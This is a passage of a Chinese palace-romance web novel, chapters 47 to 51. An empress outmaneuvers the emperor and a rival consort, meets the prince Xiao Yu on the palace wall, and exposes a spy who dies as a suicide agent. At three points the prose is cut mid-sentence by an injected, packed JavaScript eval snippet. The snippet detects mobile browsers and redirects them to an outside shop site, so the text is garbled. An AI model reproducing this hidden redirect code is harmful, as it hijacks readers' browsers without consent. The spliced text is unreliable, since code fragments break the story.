当年东宫的事情到底是怎么回事没有人知道,即便是有知情人,先也未必能将他们找出来。真相像一团迷雾,萦绕在她周围,她却伸手摸不到抓不着。 昨日发生在东宫的事情不会没有后续,背后的人没有达到目的,应该还会找机会出手。 萧誉将目光从容蓁身上移开,抬眼看了看天色,站起身:“东宫的事情我会帮您去查。” 他抬脚往窗户的方向走了几步,准备跨出去的脚又停下,回头看向依然坐在妆台前的容蓁,“陛下用了晚膳可会再此留宿?” 容蓁被他这句话问的有些懵,却还是摇头道:“我不知道。” 萧誉听后,嘴角微微勾起,“届时你若像昨日那般,觉得无聊,可来南门宫墙上寻我。” 说罢,那人似乎笃定她会去赴约一般,未等容蓁回复,眨眼间消失在那窗户前。 她锁眉,阖上眼又重新睁开,眼底刚刚那丝微动的波澜被隐去,走出暖阁让人去小厨房唤芯红进来。 芯红再进来时,见暖阁内只剩容蓁一人,本想开口说些什么,但又见容蓁脸上波澜不惊,似是无事发生的模样,到了嘴边的话又只好咽了回去。 容蓁将芯红脸上的情绪瞧在眼里,打趣道:“瞧瞧小芯儿愁眉苦脸的这模样,就不怕脸上爬了皱纹,没人敢娶你?” 芯红闻言脸立马红了起来,背过身去,“娘娘莫要拿奴婢开玩笑,奴婢即是从小跟您的情意,又是您的陪嫁丫头,是这辈子要待在您身边,哪儿都不会去的。” 容蓁心里一暖,她知晓芯红待她的忠心,但也没有要耽误她一生的打算。容氏如今的门楣,自是不愁为芯红许个好人家的。 她笑了笑,柔声道:“帮本宫重新梳妆吧。” 芯红转过身,“娘娘不再去暖榻上睡会儿了吗?”她虽是在问,脚下却是已经朝着容蓁走来。 容蓁轻叹一声,摇着头道:“不了,耽搁了这会,皇上一会儿也该过来了。” 芯红闻言,上前拿起牛角木梳,“小厨房里的菜也备的差不多了,有一些已经拿火温着了。” 不多会儿,芯红为容蓁重新绾好云髻,鬓间钗了支金凤流苏步摇。 容蓁看着镜中映出自己,杏眼潋滟,肤白如雪,青丝被高高绾起,娴静优雅的模样。她坐了半响,起身由芯红扶着往暖阁外走去。 今日天色极好,整日阳光明媚,不见丝毫的阴沉。虽然已至酉时,一朵朵云的边上却镶着金丝甚是好看。 风吹来,透着阵阵凉意,似乎又在提醒着寒冬将至。 明华殿内本种着许多白玉兰,那是容蓁最喜的花,虽过了开花的节气,也不曾让花房的人送来其他花种,依旧让人早早地架了暖棚仔细打理着。 殿里的宫女太监们见容蓁出了暖阁,都齐齐向她见礼。 容蓁摆摆手,众人才起身,继续干着手里的活儿,她站在廊下抬头看向方方正正的天,心中起了些思绪。 48.应约 夜晚,秋风萧瑟。 王乾遣人先到了明华殿,说是皇上已出了金銮殿,朝着这边儿过来了。 芯红点头,向跑腿儿那小太监手中塞了点碎银,就立即安排人将小厨房温着的菜,一个个端进了暖阁的前厅里。 待全部安排妥当,厚重的门帘才落下,隔去门外的寒风,不多时明华殿外就响起高亮的通传声。 换好一身舒适藕粉色绣花宫装的容蓁起身,携着合宫众人出殿门,在前院廊下亲自迎候。 楚绍坐在御辇上,头戴金冠,依然着着明黄色双龙戏珠的常服,没有像昨日吃酒后醉眸微醺的样子。帝王不怒自威的模样,他倒是拿捏的很好。 御辇上的他疲惫地揉了揉眉心,才让王乾扶着下了辇。 刚踏入明华殿的门,绕过石屏看见跪地一众人前那个明媚的女子,不自己加快脚下的步子,伸出手亲自将宫殿门口前福身行礼的容蓁扶起。 又顺着将她那柔软的手,紧紧握在了自己手里,有人打着暖阁厚重的门帘后,带着她走进去。 容蓁因手被他那样握着,而轻轻皱起眉,却不想这时惹怒了他,只好暂时忍着没发作,但脚步明显加快了些。 二人入殿内后,只留了王乾和芯红二人随侍在旁伺候布菜。 楚绍坐圆桌的一侧,目光停留在她身上,示意她坐在自己身旁的椅子。 容蓁只当为曾瞧见,面上的笑意未减,垂眉低眼地将自己的手从他手中抽出,拿出帕子在他对面的位置坐下,在他看不见的桌下用帕子反复将自己那双被他握过的手,狠狠地擦拭了几下。 楚绍见她在对面落座,脸上的笑意僵了僵,转念想到容蓁每每都是只坐在他对面的位置,也只好作罢。 一旁的芯红站在容蓁的身后,将她家娘娘嫌弃地擦拭手的动作看在眼里,心里直捏了汗见。 幸而此时的王乾已站去了陛下身后,并未看见。心中却想着陛下方才的举动,皇后娘娘分明是见到了的,并且午时瞧着没有什么情绪的,还亲自去金銮殿送点心,为何现在又不肯挨着陛下坐。 人都说帝心难测,如今看来女人心也是难测啊…… 王乾低着头细想着,难不成皇后猜到了陛下午时在金銮殿商量的事情时,有容御史大人的事情……想到这,王乾抬头看向容蓁恭敬的眼神里,多了几分探索。 似是感受到有人投射而来的目光,容蓁抬眼朝那视线看去,王乾察觉瞬间低下头去,那道被探查的目光立刻从容蓁身上消失的无隐无踪。 “用膳吧。”楚绍起筷说道。 容蓁点头也拿起桌上的筷子。 两人安静地用膳,一时无言…… 不多时,帝后二人用完膳,膳食被宫人撤下,换了上茶点。 “皇上,臣妾让人备了美酒,可需让人拿进来?”二人净了口,她亲自为楚绍斟了杯茶,自己也端起另一杯茶盏,浅尝一口,去了喉咙里的肉腥味。 楚绍看着容蓁,笑了笑,“皇后费心了,不过,今日朕不打算饮酒。” 容蓁面色微变,视线微不可察地朝他身后的香炉看去,伸手将面前的点心往楚绍那边推了推,放软了语气,问道:“昨个儿皇上问本宫搭戏台子的事,本宫想着皇上怕是想听戏了,今日已着人将戏班子的人叫来后殿预备下来,皇上现下可想听戏?” 话落,楚绍面色有些动容,她从那眼神里看得出是他想的,却见他抿了抿唇,摇头道:“改日吧。” 说罢,目光炙热地看着容蓁,又道:“今日,朕是来陪你的。” 她故作娇羞,敛下眼睑。 这时,听见殿外有人通传,“皇后娘娘,淑贵妃娘娘过来了。” 容蓁眼底精光一闪,抬眸朝楚绍笑了笑,对殿外道:“让她进来吧。” 不多时,外面响起零碎的走路声。 她侧首朝芯红递了个眼神过去,芯红意会,往殿外的方向走了几步,亲自掀了门帘,正好迎上要进暖阁的宋冉琴。 她今日一身豆绿绣花宫装,袖口是用金丝绣的蝴蝶点芍药的图案,花蕊用宝石点缀,脸上虽是略施粉黛,每一笔却恰到好处的勾勒出她脸上的优点,加上头戴金钗,极其耀眼,无不彰显着皇上对她的盛宠。 宋冉琴斜睨着为她打着门帘的人,面上微微露出诧异之色,狐疑地看了眼芯红,心下想着这妮子今儿吃错药了? 后者仿若未查,低头向宋冉琴见礼,然后才并侧过身子,让她入到暖阁内。 她来明华殿的路上还琢磨着皇后能有什么事,让她用完晚膳后就急着过来,但到底容蓁是皇后她是妃,再不愿也只能赶来,脸色到不怎么好。 一入了暖阁内,绕过立屏,见到里面坐着的不止容蓁一人,楚绍竟然也在,原本不乐意的脸上立即堆起了笑脸来。 容蓁自然将宋冉琴的表情瞧了个清楚,“淑贵妃妹妹来了,芯红看茶。” 芯红从容蓁哪里接过眼色,立即拿了只新的茶盏斟满茶,恭敬地递给宋冉琴道:“贵妃娘娘用茶。” 宋冉琴见着楚绍,心中虽喜却不知容蓁葫芦里卖的什么药,决定按兵不动,朝楚绍身旁走去,坐了下来,端起茶盏才后知后觉发现皇上紧绷着脸,一双凤眼瞪着自己,似乎心情不好的样子? 难不成皇后又惹他不快了? 宋冉琴端着茶浅尝,心思微转,打起盘算来。 容蓁笑了笑,一双杏眼看向那面上不快之人,端庄温婉道:“陛下继承大统已有五年,按规矩来年开春也应该选些新人入宫了。” “皇后倒是贤惠。”那面色不快之人闻言,脸色立即变了变,眉头飞起,瞪着宋冉琴的目光落到容蓁身上。 “事事为陛下,是臣妾的职责。”容蓁迎上楚绍的目光浅笑道。 楚绍不置可否。 宋冉琴端着茶盏的手顿了顿,抬头看了容蓁一眼,眸光轻闪,“这么说来,也没多少日子了,该让人通知各府准备了。” 楚绍不说话。 容蓁点了点头,接着她的话道:“是啊,这日子过得快,马上又要到了年底,了。”说罢,她站起身,朝着楚绍福下身去,继续说道:“陛下,臣妾要忙着操办宫宴,怕分不出多余的心思,又想着淑贵妃往年有料理六宫诸事的经验,这选新人的事……” 本听闻容蓁要为他大肆选妃的楚绍一脸不快,可在垂眼看向福身未起的她,眼底一汪愁绪与为难,那一丝的不愉悦也就散去,目光再次向一旁的宋冉琴看去。 那人却睁大了眼睛,不可思议地看着容蓁道:“皇后的意思是……让本宫操办选秀女?” 容蓁点头:“陛下登基以来首次选秀女,自然需好好地大肆操办,只怕年底本宫时分身乏术,所以想请淑贵妃妹妹来分担。” 说罢,那双满是愁意的眼眸看向楚绍,轻声询问:“陛下以为如何?” 楚绍看着她的眸光闪了闪,指节分明的手指屈起,轻轻叩着桌面,桌面发出低沉的闷声。他沉默片刻道,松口道:“六宫之事,皇后做主就是。” 宋冉琴原本有些小小窃喜的脸上,蒙了一层不快,但又想着可以从皇后手中接过操办选秀的事,那一丝的不爽很快便被愉悦掩盖了去。 容蓁又同宋冉琴交代了一些事宜,似是累及,用手撑着额头揉了揉。 芯红上前关心道:“娘娘可是哪里不舒服?” 她摇了摇头道:“无妨,想是昨晚累着。” 话落,楚绍脸上的不悦瞬时消去,他自是想到她为何会累,眸光里满是关心,“既然如此,皇后早些安置吧。” 容蓁点头,又揉了揉眉心才起若道:“幸好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127542|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日有妹妹在,不至于怠慢了皇上。” 宋冉琴面色一喜,起身挽着楚绍的臂膀,娇声道:“陛下,皇后既然身体乏累,陛下就去臣妾宫里吧。” 楚绍见此不好推辞,眉宇间虽有些不舍,但有宋冉琴在旁柔声催促,只好起身由她拽着,抬脚出了明华殿。 听见外面的脚步声逐渐远去,揉着眉心的容蓁才慢慢坐直了身子。 “娘娘,您将选秀的大事就这样给了她,岂不是白白让宋氏得了便宜。”芯红叹了口气,苦着脸道。 娘娘让她请淑贵妃过来,是为了将皇上从明华殿给哄走,那曾想她家娘娘竟将选秀这等大事都交给了那位。 “本就是些琐事,本宫倒乐得了清闲,让他们得意去吧。找点事给他们,总比每日将眼睛放在容府要好。”容蓁不以为意道。 虽说选秀这等大事,一般由皇太后或皇后主持操办。这宫里没有皇太后,加上年底宫宴她虽然忙得过来,但不想有人趁她忙碌从中找事给她。 倒不如给了宋氏一些甜头,让她自己忙碌起来,也不得空有其他功夫使绊子。 如今,她不想有其他人或事使自己分身乏术。 “本宫出宫一趟,你替本宫在这里守着,别让人进来。”容蓁边说边已经换了身轻便的衣服吩咐道。 芯红猜到她要去做什么,点点头道:“娘娘放心。” 话才落,容蓁就已经消失在窗外的夜幕之中。 深秋的夜晚,冷风习习,天边的月似隐匿在秋寒之后,泛起朦胧之色。 她今日倒是记得披了件披风出来,一路背着光贴着墙角行走。 半个时辰后,来到了南门高耸的宫墙下。 遥遥望见夜色中,有一人独立那高墙之上,衣袂随风而动,修长的身形如黑夜中的星芒,虽周身的处于混沌之中,但因他的存在,就连那墙角脱落的角坑都显得夺目起来。 那人似是听见了她的脚步声立转过身,一双如狼如漆的眼瞬间锁定在她身上,周身的寒意之比这深秋的风更甚,而下一瞬间笑意在他原本如同这夜风般阴冷的脸上蔓开。 容蓁迈出去的脚顿了顿,停下来。 昏暗的暮色里,他们清楚地看见彼此面上的神情。 萧誉从宫墙飞跃而下,落到容蓁面前,“我知晓你会来。” 二人抬步,一同走上宫墙。 没了宫殿墙瓦遮挡,宫墙上冷风“呼呼”吹得凛冽,冷风扑面,她轻轻打了个冷战。 萧誉瞧在眼里,悄悄换了站立的方位,高挑的身形正好挡住了吹来的冷风。 两人站在宫墙上,向下眺望。 皇宫之外,满京城的灯火此时都已点亮,灯火通明。 从灯火中,能分辨出哪里是热闹非凡的夜市,哪里是官宦府邸,哪里又是普通的民居。 容蓁第一次站在这里俯瞰盛京夜色,原来这便是书中所述万家灯火的模样……也瞬间明白了萧誉约她来此的目的。 她看了一会儿,侧身看了眼身旁的萧誉,夜色下举世无双的面容依然耀眼。 她站直了身子,对萧誉说道:“世子用心良苦,与我所想不谋而合。” 萧誉望着宫墙之下,目光沉静,“如此盛景,应该留存万世。” 她闻言笑了笑,眼中是纯粹的好奇,“难不成萧世子如今对燕京也有了感情?” 萧誉摇头,“百姓不该有他国之分,亦如娘娘所说‘天下万民不分国’。” 容蓁一怔,垂眸道:“倒是我想的狭隘了。” 她回过头,看着远处的灯火,脑海中似是能想象出整个盛京城内,熙熙攘攘,热闹非凡的景象。比之背后的楚宫,要有烟火气息的多,舒适畅快的多。 那一刻,她似乎置身于市井中,感受着那一分自由的快乐。 49.埋伏 萧誉侧过身,目光落在容蓁的脸上。 夜风拂过,将她的发丝吹乱,也吹得他心中一动。 “娘娘心中所想,才是最重要的。”他的声音低沉,带着一丝不易察觉的温柔。 容蓁闻言,转头看向他,嘴角勾起一抹浅笑,“世子说得对,是我着相了。”她伸手将耳边的一缕发丝挽到耳后,动作自然而优雅。 萧誉的目光落在她白皙修长的脖颈上,喉结不自觉地滚动了一下。 【宿主与萧誉好感度增长1分,目前总好感度为37分】 系统声音伴随着她的动作响起,她闻声轻笑,眸光在月色下闪动。 萧誉迅速移开视线,轻咳一声,“夜深了,我送娘娘回去吧。” 容蓁点头,转身朝宫墙边走去。萧誉跟在她身后,两人一前一后地走在宫墙上,两人之间保持着不远不近的距离。 夜晚的风带着深秋的寒意,自四四方方的天顶吹过。 容蓁拢了拢身上的披风,她知道,接下来的路,将会更加艰难。 一场秋雨一场凉。 晌午好容易出着几日未见的明晃晃的大太阳,等容蓁歇了午觉起来,外面的天已经阴沉的似要压下来。 淅淅沥沥的雨从方方正正的天空中落下,打落在高跷的屋顶上,自屋檐流下,在院中的低洼出积水成潭。 容蓁唤来芯红理了理睡得蓬松的云鬓,斜倚在塌上,漫不经心的把玩着一柄玉如意,脑海里不由地浮现出昨日万家灯火的情景。 “娘娘,您吩咐的东西已经准备好了,咱们今晚就要……么?” 芯红一边用牛角木梳轻柔的为容蓁梳发,一边用极轻的声音在她耳旁问道。 “既然是钉子,还是尽早拔出来的好,本宫倒要看看,在这宫里还有谁竟有着这通天的手段。”容蓁放下玉如意,把玩着发梢,似笑非笑的道。 “是,奴婢这就去办。” 芯红肃了神色,躬身退出了殿外。走出去后,她立即变了脸色,轻咬着唇左右看了看,装作一副心事重重的样子。那是她鲜少在人前露出的模样。 “去,吩咐下去,娘娘体恤下人,这雨眼见停不了了,廊下留两个人传话便是,剩余的都回去歇着。” 廊下侍立的宫女太监齐声应道,有心者微微抬眼用余光打量着芯红的神情,随后便鱼贯退了出去。 芯红长出一口气,像放下了什么心事似的,捂了捂袖中之物,急匆匆沿着回廊向着殿外走去。 身后,一个普通太监服色的身影缓缓伸直了佝偻的腰,目色阴沉的久久注视着芯红的远去背影,不一会儿从侧门悄没声儿地也出了明华殿。 一直到了乌蒙的云层遮住月色。 暖阁内,容蓁耐着性子陪着兴致高昂的楚绍用了膳,后者没禁住劝,在容蓁的陪同下饮了她新酿的酒。 楚绍的酒量她是知道的,不过几盏,那人眼神迷离,不多会就歪倒在一旁。 她让芯红、绿芜二人将醉倒的人扶上了床榻。 “唔……皇后……” 容蓁看着那一身明黄寝衣,脸色潮红,不断梦呓的男人,厌烦的用两只葱指拉过被单,为那人盖上。 “娘娘,这真的……不打紧么?” 芯红有些担忧地看了躺在床上的男人一眼。 “不碍事,那酒中放了些蒙汗药,一时半会醒不来。” 她换上一身劲装,利落的从窗户翻了出去。 容蓁脚步轻盈的出了明华殿,接着身形一闪,躲在灌木丛后,又原路潜了回去。 她伏在宫门口,耐心的等待着。 果然,不多时便有急匆匆的脚步声传来,那人向着路口张望了下,便转身向另一个方向奔去。 她潜在暗处,看清楚那人的长相后一双眸子瞬时冷了下去,对着一旁吩咐道:“去吧。” 紫冥应声现声,朝那人的方向瞬去。 “呜!” 听到那一声被闷住的喊叫,容蓁从暗处走出,向声音的方向走去。 “娘娘,您真是料事如神!”芯红看着地上痛苦蠕动的太监钦佩道。日间娘娘让她弄来了生石灰,又故意吩咐她撤下宫人,故作神秘,果然引得那潜伏的毒蛇出洞了! “把他弄回去,好好审问!”容蓁用脚尖踢了踢那太监道。 男人听了她的话,身子僵了一瞬,随即又剧烈的挣扎了几下,突然静止不动了。 “娘娘,您看!” 芯红有些惊恐的捂住嘴,那男人七窍缓缓流出几道黑血,衬着石灰的白,看起来瘆人极了! “可恶!” 容蓁低身,伸出手探向那太监的鼻下,已经没了气息。她起身用帕子擦拭着手指,眸色冰冷。 “是……是死士?”芯红紧紧锁起眉头,低声问道。 自家娘娘自入宫以来,身边自然少不了各路人马安插进来的眼线钉子,原认为入宫时已经将明华殿伺候的宫人底细都查细了,没想到还有个漏网之鱼,居然还有死士潜伏在明华殿! 容蓁嫌恶的低头盯了那死状诡异的尸体片刻,“紫冥。” “娘娘。”紫冥在一旁垂眼应声。 “将这东西处理了,莫要留下痕迹。”紫冥低头应是。 吩咐完后,她垂眸又看了那死士一眼后按着原路返回暖阁中。 芯红瞧着她面色不佳,也不多言伺候着为她换了套舒适的宫装,在案炉中掷一颗迷药后又拢了一把凝神静心的檀香。 换好衣服的容蓁坐在软塌上,抚摸着袖口繁复的金线刺绣秀眉微蹙。 “好不容易找到的线索,这就断了。”芯红将刚泡好的茶奉于容蓁,听着她端起茶盏叹了口气。 纤细白皙的手指轻抚温热的茶盏,瞥见芯红沮丧的神情,她抿了口温度适宜的茶水,杏眼弯弯的逗着芯红道:“莫不是咱们小芯红儿,今日见着了个死人骇着了?” 芯红微恼的喊了声:“娘娘!”她心里晓得娘娘此时心里只会比她更发愁,“奴婢就这一条贱命,有什么好怕的,奴婢是担心您……” 娘娘这一路走来,实在太难了。 每天跟陛下周旋就不说了,想法子去查前太子那蹊跷的死因,却又不知被什么人暗中盯上…… 她实在是心疼! “好了,不逗你了。”容蓁放下茶杯,轻轻牵过芯红的袖口,握住了她有些微凉的手。 “自奉旨为后的那一刻起,本宫就知道自己未来要走的是一条怎样的路。”容蓁看着芯红红了眼眶的脸,顿了顿又道:“别说区区一个死士,外面盯着本宫,盯着容家的那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144962|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豺狼虎豹何时少了?若是怕,当初本宫便不会入宫,如今也可索性假死脱身,逍遥一生岂不快活?” 话落,她平日里柔媚的杏眼中迸发出灼亮的光,整个人耀眼夺目,清丽的面孔令人不敢直视。 “如今看来东宫的事情只怕没那么简单。” 芯红默然,只是微微颤抖着伸出另一只手,跟容蓁的手紧紧握在一处,“娘娘,您说这次,会不会是宋……” 容蓁一根白皙的食指点在下巴上,若有所思,“这次设局之人,心思缜密,一环扣着一环,端的是狠辣阴毒,宋冉琴没那个脑子,编出这么大个套来。” “无论是日前本宫去东宫之事,亦或者与萧誉相见。凭她那耐不住的性子,本宫早该承受陛下的雷霆之怒。”容蓁撑着额头,似笑非笑的道:“她宋冉琴若是有这本事,如今这皇后之位也早该换做是她了。” 说罢,芯红了然地点了点头。 只是,在这深宫之中,那只隐藏在黑暗里搅弄风云的手,又会是谁…… 一炉檀香很快燃尽了,淡淡的烟气萦绕过床塌上无知无觉的男人周身缓缓飘散。 明华殿中的主仆二人将可疑之人分析了一遍,仍未有任何的头绪。 “总之,这条线断了,咱们只能守株待兔,等暗中的那只手再度出现。”折腾了大半宿,容蓁有些疲惫了,伸袖捂住了一个秀气的哈欠,瞧着眼睛都快合上了,还不忘吩咐一句:“再去查查那个宫女,活要见人,死要见尸。” 翌日清晨,守在门外的王乾看了看天色,又侧耳听了听殿中的动静,心中暗暗发愁,皇上平日里作息极规律,即便留宿嫔妃殿中,往往也醒的极早。 唯独在这明华殿,就这么两三次,可回回都是起的迟! 眼见着早朝就要晚了,他只得硬着头皮轻轻扣响了殿门。 “王总管!” 开门的是芯红,见到王乾后未语先笑,才打了声招呼。 “哎,芯红姑娘,陛下和皇后娘娘……这会儿可是起身了?” 惯会察言观色的王乾自然是对明华殿上下不敢怠慢,芯红到底是皇后带进宫的贴身侍女,见是她开的门,立刻笑容堆了满脸和气极了。 “娘娘起了,正打算唤陛下起身。” 芯红恭敬地请了王乾进来,又转身回到殿内。 “陛下,该起身上朝了。” 容蓁坐在软塌边,语声轻柔的唤着人,眼中掩去那一抹冷淡。 床踏上的人被唤了好几声后才迷迷糊糊地醒来,目光凝在面前的芙蓉娇颜上。 “昨晚……我们” 他坐起身来,莫名觉得哪里有些不对,蹙眉试图回想。 容蓁眼中的冷淡早已不见,见楚绍面上似乎有些起疑,故作气恼的别过头起身,娇嗔一声将话说的模糊,“莫非陛下昨日吃酒吃得醉了,尽是忘记如何累狠了臣妾。” 楚绍脑中模模糊糊闪过些旖旎画面,下腹一紧,嘴角不受控制的有些上扬。 他伸手握住容蓁的手,她立即面色不悦地将手从楚绍手中挣脱出来,芯红立即将手中拧干的绢帕递了过去,“请陛下净面。“” 楚绍对容蓁这幅模样十分受用,凤眼微扬接过递过来的手帕,却没瞧见那微微垂头的杏眼中,蓦然窜起一簇灼亮的火苗。 50.赠花 楚绍看着容蓁羞恼的背影,心中一片柔软,只当她是害羞,便也不再逗弄。 他利落地起身让李德福与王乾二人伺候着换上龙袍。 “时辰不早了,陛下该去早朝了。”容蓁耐着性子陪同楚绍用完早膳,催促道。 楚绍拿起王乾递过来的帕子,擦净嘴角,又接过茶净口后,抬眸看向她才道:“朕自登基以来,勤勤恳恳,就算去晚一次两次又如何?” “难不成皇后想快些将朕给撵走?”楚绍一双凤眼斜睨着她,脸上仿佛瞬间便结了一层冰霜。 她桌底下的手悄悄攥起拳来,面上笑如春风道:“怎么会?臣妾巴不得陛下将那御书房挪到明华殿里来,臣妾能日日瞧着。”说罢,拿起手帕擦了擦嘴角,委屈道:“可臣妾愿做那祸国的妖后,也不愿陛下背上那沉重的骂名呐!” 楚绍渐重气息陡然轻了下去,眸中溢出的阴寒亦被燃起来的柔情替代。 他面容缓和下来,轻轻地拍着容蓁的手道:“皇后的情谊朕知晓了,朕定会多来看望皇后。”说完,将她拉入怀中,俯身轻吻她头顶的发髻,才抬脚往殿外走去。 听着楚绍远去的脚步声,她缓缓转过身,看着那扇紧闭的殿门,嘴角扬起的弧度瞬间消散。 “娘娘,难得今儿天好,咱们去御花园转转可好?”芯红看着桌面上那没怎么动过的早膳,轻声劝哄道。 话落,却见容蓁抬手将梳好的发散落下来,眸光幽暗道:“先替我沐发再出去罢!” “是,娘娘。” 芯红恭敬地应道,手脚麻利地伺候着容蓁梳洗长发,擦干后再梳好发髻已近巳时。 “娘娘,听说园中新挪的牡丹都开了,不如今日就穿那身粉色牡丹流华裙,倒也应景!” 见着容蓁情绪不高,芯红故作轻松的语气,有意哄她开心,又朝着窗外瞧了瞧天色,好在天气还不错。 “也好,记得那是二哥特意为我寻来的,长久不穿,放在箱子里白霉坏了,反倒是糟蹋好东西。”容蓁长出一口气,叹道。 更衣打扮停当,容蓁由芯红扶着,袅袅上了凤辇,去了御花园西角的牡丹阁。 牡丹花期本在夏初,可宫中自有巧手花匠,在这暖房中精心培育,在这百花凋残季节里也能催得其竞相开放。 一袭粉裙缓缓漫步花丛,目光所及之处皆是怒放的花朵,容蓁有些阴郁的心情终于多云转晴。 见一朵魏紫实在开得鲜妍,她停下脚步,微微俯身,轻柔地捧了花朵细赏。娇美的容颜与雍容的牡丹交相辉映,一时让人分不清到底是花更美,还是人更艳。 别说旁人,就连芯红也被身边的自家娘娘那如画中仙子般的容颜,几乎看的呆住! 恍然不知看呆的人,不止她一个。 不远处,静静立在花丛一侧的萧誉,目光紧紧得落在在容蓁美若芙蕖的面容上,又渐渐向下流连。 见远处美人一身繁复艳丽的牡丹裙,若换做穿在别人身上,少不得有些俗艳之感。偏偏在她身上,不仅不俗,反倒衬着她沉静如画的眉眼,欺霜赛雪般的肌肤,无端多了一丝超凡脱俗,恍如牡丹仙子误落凡尘…… 看得萧誉不自觉地屏住呼吸,生怕呼吸间都会惊扰了那个赏花的人。他一向清冷的目光却渐渐灼热,多了几分不易察觉的欲望。 【宿主与萧誉好感度增长1分,目前总好感度为38分】 系统声忽然响起,惊扰了赏花的人。 她直起捧花的身子,稍稍抬眸,目光自手中的花缓缓移向来人的脸上。 “萧誉,见过……娘娘。” 他暗暗调息许久,方才勉强压住心中涌动的无名之火,嗓音带些黯哑启唇道。 一身玄衣的少年脊背挺直如青竹,薄唇微抿,平日里清冷的双眸灼亮的望了过来。容蓁被他的目光看得一怔,轻抚花瓣的纤手微微一顿。 容蓁杏眼微弯,也向着萧誉走去,走近后方觉早前的烦闷感稍稍散去,脸上的笑意更甚,“世子,好巧。” 那牡丹流华裙,取的是牡丹盛放之意,裙摆薄纱层叠,由纯白渐变至极艳的紫,更隐隐有光华流转。 那人莲步轻移,裙摆微动,倒像是牡丹花活了一样,极尽妖娆般绽放。 走到离萧誉三步处,容蓁守着礼节停下来,可萧誉仍然敏感的捕捉到了她身上独有的甜香。 幽香一缕,似花香,却多了一抹独属于她的清凉。 美人如花,如今伸手便可采撷,摘是不摘? 【宿主与萧誉好感度增长1分,目前总好感度为39分】 “世子?” 容蓁有些疑惑的看向萧誉,这人今日是怎么了,对她的好感度不停地增,却呆头呆脑的也不说话。 “啊!”那人恍然惊醒,面色泛起微红,“娘娘爱花之人,可否为我介绍这牡丹都是何方名种?” 不知为何,萧誉现下竟不敢直视她递过来的眼眸,微微错开她的目光,落在一旁的牡丹花上,垂首敛下眼睑问道。 容蓁微微歪头思忖片刻,欣然答应,“当然可以,世子可随我来。”她的目光在萧誉那清隽冷峻的脸上流连一圈,唇角微微上扬。 “这一株乃是东南贡品,培育极为不易,当初进贡三株,奈何宫中巧匠,也只栽育活了这根独苗……” “那边的姚黄听闻去年糟了虫,费了宫里花匠不少功夫,才将将活了过来……” 两人并肩在姹紫嫣红中流连,只听得一阵清越的声音在花间响起。 容蓁详尽的讲解只有一半入了萧誉耳中。 他双目微垂,余光不时瞥向走在身边的人。 她身量在女子中算得上高挑,骨骼却似是颇为纤细,小巧的下颏,小巧的耳朵,白皙的耳垂也小得可爱。若是伸手微微一抚,可会有红色晕染其上? “……天下名花汇聚在此,不知世子最爱哪一朵?” 容蓁对萧誉暗中的打量并非毫无察觉,笑着侧首若有所思地看着他问道。 “这御花园的确名花不少,却也少了金粉魏紫,娘娘可还记得?”萧誉笑道。 她自然记得那日,这人擅闯暖阁,青天白日的说要将拿独独绽放于南疆的金粉魏紫捧来,戴在她鬓间。 她垂眸,沉默。 “不仅无那金粉魏紫,也缺了花中之王,娘娘可知?”萧誉见容蓁避而不答,反而突兀的抬头再问了一句,似乎一瞬间两人之间的气场互换了过来。 容蓁抬头一愣,反应过来才掩唇一笑,“世子可是在与我玩笑?牡丹乃花中之王,世人皆知,世子何故说这里没有花王?” 萧誉漫不经心的捞过一朵盛开的牡丹,才瞧了一眼便随手放开,“这牡丹国色天香,确实艳丽无双。可它娇生惯养,终日要人呵护,称为花王便是不妥。” 容蓁闻言,微微挑眉,“哦?那依世子之言,又有何种花朵堪称这花中之王?” 萧誉定定望着容蓁,忽然一笑。 这一笑犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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带着芯红,从另一条小径出,绕着路回到了明华殿。 她慵懒的倚靠在锦缎靠枕上,若有所思的盯着眼前的木盒看,脑海里浮现出那人的身影。 萧誉,今天好像有点奇怪。 她越想越觉得脸热,抬手一抚,果然有些热烫。 她颇有些羞恼,可少年的话在耳边不绝回响。 那天山雪莲她虽听过,但此花极其珍贵,是可遇不可求之物。她忽然有些好奇,真有他说的那么美……么? 思索间,她揭开手中的盒盖,盒中之物赫然展露在她眼中,一双杏眼微微放大。 一朵薄如蝉翼、轻如冰霜的雪白花朵,透着一股清香绽放在她眼前! “娘娘,这是……”芯红从她身后好奇探头过来,随后猛然伸手握住了自己的嘴。 这莫不是那被奉为‘百草之王’的天山雪莲,芯红呼吸滞了滞,生怕呼吸太重,将这朵仿佛雪花凝成的花儿直接吹化了。 容蓁垂眸,手里捧着木盒,目光停留在那洁白无瑕的花朵上。 她记得有一句诗,“耻与众草之为伍,何亭亭而独芳。何不为人之所赏兮,深山穷谷委严霜。吾窃悲阳关道路长,曾不得献于君王。①” 萧誉送这花给她,究竟是何意。 51.送礼 殿中人的心情,一如殿外的天气半阴半明。 